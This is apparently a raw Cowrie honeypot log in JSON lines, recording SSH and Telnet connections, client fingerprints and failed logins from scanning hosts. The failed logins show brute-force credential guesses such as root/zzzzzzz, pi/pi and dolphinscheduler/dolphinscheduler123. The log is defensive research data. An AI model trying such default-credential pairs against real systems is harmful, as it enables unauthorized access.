{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60140,"dst_ip":"159.203.135.109","dst_port":22,"session":"27632d538fd8","protocol":"ssh","message":"New connection: 193.228.128.84:60140 (159.203.135.109:22) [session: 27632d538fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:52.056681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:52.061103Z","src_ip":"193.228.128.84","session":"27632d538fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:52.166449Z","src_ip":"193.228.128.84","session":"27632d538fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzzzz","message":"login attempt [root/zzzzzzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:52.473216Z","src_ip":"193.228.128.84","session":"27632d538fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:53.579889Z","src_ip":"193.228.128.84","session":"27632d538fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.0808470249176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:55.425554Z","src_ip":"192.119.13.58","session":"647d37e8f0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":17425,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f12db9cbc12","protocol":"ssh","message":"New connection: 103.24.63.85:17425 (159.203.135.109:22) [session: 4f12db9cbc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:58.763790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:58.769597Z","src_ip":"103.24.63.85","session":"4f12db9cbc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:58.970476Z","src_ip":"103.24.63.85","session":"4f12db9cbc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:49:59.572597Z","src_ip":"103.24.63.85","session":"4f12db9cbc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:00.790070Z","src_ip":"103.24.63.85","session":"4f12db9cbc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44218,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a7b095af12","protocol":"telnet","message":"New connection: 192.119.13.58:44218 (10.17.0.5:23) [session: 20a7b095af12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:05.709786Z"}
{"eventid":"cowrie.session.closed","duration":46.316874265670776,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:09.138882Z","src_ip":"192.119.13.58","session":"00ac03de0933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.255667209625244,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:11.539227Z","src_ip":"192.119.13.58","session":"3a2b95126d15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbbbb714c6bc","protocol":"telnet","message":"New connection: 192.119.13.58:40820 (10.17.0.5:23) [session: fbbbb714c6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:12.046491Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47326,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3fd47a76642","protocol":"telnet","message":"New connection: 192.119.13.58:47326 (10.17.0.5:23) [session: f3fd47a76642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:13.734246Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49724,"dst_ip":"10.17.0.5","dst_port":23,"session":"bffbcadb90a7","protocol":"telnet","message":"New connection: 192.119.13.58:49724 (10.17.0.5:23) [session: bffbcadb90a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:14.369674Z"}
{"eventid":"cowrie.session.closed","duration":0.006537675857543945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:14.376066Z","src_ip":"192.119.13.58","session":"bffbcadb90a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":23058,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d15de00e35","protocol":"ssh","message":"New connection: 103.24.63.85:23058 (159.203.135.109:22) [session: b8d15de00e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:16.459143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:16.465260Z","src_ip":"103.24.63.85","session":"b8d15de00e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:16.670834Z","src_ip":"103.24.63.85","session":"b8d15de00e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9ef5dc026cd","protocol":"telnet","message":"New connection: 192.119.13.58:60284 (10.17.0.5:23) [session: a9ef5dc026cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:16.953246Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:17.294194Z","src_ip":"103.24.63.85","session":"b8d15de00e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36566,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95ee8956957","protocol":"telnet","message":"New connection: 192.119.13.58:36566 (10.17.0.5:23) [session: d95ee8956957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:18.113576Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:18.609479Z","src_ip":"103.24.63.85","session":"b8d15de00e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38148,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6b1d980c6e","protocol":"telnet","message":"New connection: 192.119.13.58:38148 (10.17.0.5:23) [session: fc6b1d980c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:25.662624Z"}
{"eventid":"cowrie.session.closed","duration":42.98328495025635,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:30.222196Z","src_ip":"192.119.13.58","session":"9843bf56b762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36738,"dst_ip":"10.17.0.5","dst_port":23,"session":"978052bab2fa","protocol":"telnet","message":"New connection: 192.119.13.58:36738 (10.17.0.5:23) [session: 978052bab2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:39.506807Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44160,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ec142c6c71","protocol":"telnet","message":"New connection: 192.119.13.58:44160 (10.17.0.5:23) [session: 23ec142c6c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:41.400367Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9440770b3c67","protocol":"telnet","message":"New connection: 192.119.13.58:60062 (10.17.0.5:23) [session: 9440770b3c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:45.242959Z"}
{"eventid":"cowrie.session.closed","duration":41.27789044380188,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:46.987518Z","src_ip":"192.119.13.58","session":"20a7b095af12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42176,"dst_ip":"10.17.0.5","dst_port":23,"session":"c780f361e9c5","protocol":"telnet","message":"New connection: 192.119.13.58:42176 (10.17.0.5:23) [session: c780f361e9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:47.818568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50840,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa688ac95ae","protocol":"telnet","message":"New connection: 192.119.13.58:50840 (10.17.0.5:23) [session: 3aa688ac95ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:49.871622Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39564,"dst_ip":"10.17.0.5","dst_port":23,"session":"58359ad200e9","protocol":"telnet","message":"New connection: 192.119.13.58:39564 (10.17.0.5:23) [session: 58359ad200e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:54.128165Z"}
{"eventid":"cowrie.session.closed","duration":0.005396842956542969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:54.133423Z","src_ip":"192.119.13.58","session":"58359ad200e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.025408029556274,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:58.138833Z","src_ip":"192.119.13.58","session":"d95ee8956957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77749443054199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:50:59.439988Z","src_ip":"192.119.13.58","session":"fc6b1d980c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46806,"dst_ip":"10.17.0.5","dst_port":22,"session":"16d7f42ed8e7","protocol":"ssh","message":"New connection: 103.122.221.179:46806 (10.17.0.5:22) [session: 16d7f42ed8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:00.402929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:00.410036Z","src_ip":"103.122.221.179","session":"16d7f42ed8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:00.655433Z","src_ip":"103.122.221.179","session":"16d7f42ed8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.32817316055298,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:01.281291Z","src_ip":"192.119.13.58","session":"a9ef5dc026cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"f","message":"login attempt [root/f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:01.394425Z","src_ip":"103.122.221.179","session":"16d7f42ed8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.436970710754395,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:02.483279Z","src_ip":"192.119.13.58","session":"fbbbb714c6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:02.648852Z","src_ip":"103.122.221.179","session":"16d7f42ed8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.19902491569519,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:02.933114Z","src_ip":"192.119.13.58","session":"f3fd47a76642","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89838695526123,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:14.405059Z","src_ip":"192.119.13.58","session":"978052bab2fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.274383544921875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:21.517206Z","src_ip":"192.119.13.58","session":"9440770b3c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35758,"dst_ip":"10.17.0.5","dst_port":23,"session":"707960419cbd","protocol":"telnet","message":"New connection: 192.119.13.58:35758 (10.17.0.5:23) [session: 707960419cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:21.732945Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":44843,"dst_ip":"159.203.135.109","dst_port":22,"session":"efabe4b0e669","protocol":"ssh","message":"New connection: 14.224.227.189:44843 (159.203.135.109:22) [session: efabe4b0e669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:22.294472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:22.299489Z","src_ip":"14.224.227.189","session":"efabe4b0e669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:22.549403Z","src_ip":"14.224.227.189","session":"efabe4b0e669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.309868574142456,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:22.710112Z","src_ip":"192.119.13.58","session":"23ec142c6c71","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wg","password":"wg","message":"login attempt [wg/wg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:23.575134Z","src_ip":"14.224.227.189","session":"efabe4b0e669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:24.824128Z","src_ip":"14.224.227.189","session":"efabe4b0e669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49448,"dst_ip":"10.17.0.5","dst_port":23,"session":"443f1ad43983","protocol":"telnet","message":"New connection: 192.119.13.58:49448 (10.17.0.5:23) [session: 443f1ad43983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:26.196528Z"}
{"eventid":"cowrie.session.closed","duration":41.68508577346802,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:29.503483Z","src_ip":"192.119.13.58","session":"c780f361e9c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.341694831848145,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:33.213219Z","src_ip":"192.119.13.58","session":"3aa688ac95ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":40035,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbd6fecf2e22","protocol":"ssh","message":"New connection: 103.24.63.85:40035 (159.203.135.109:22) [session: bbd6fecf2e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:38.282492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:51:38.288013Z","src_ip":"103.24.63.85","session":"bbd6fecf2e22","protocol":"ssh"}
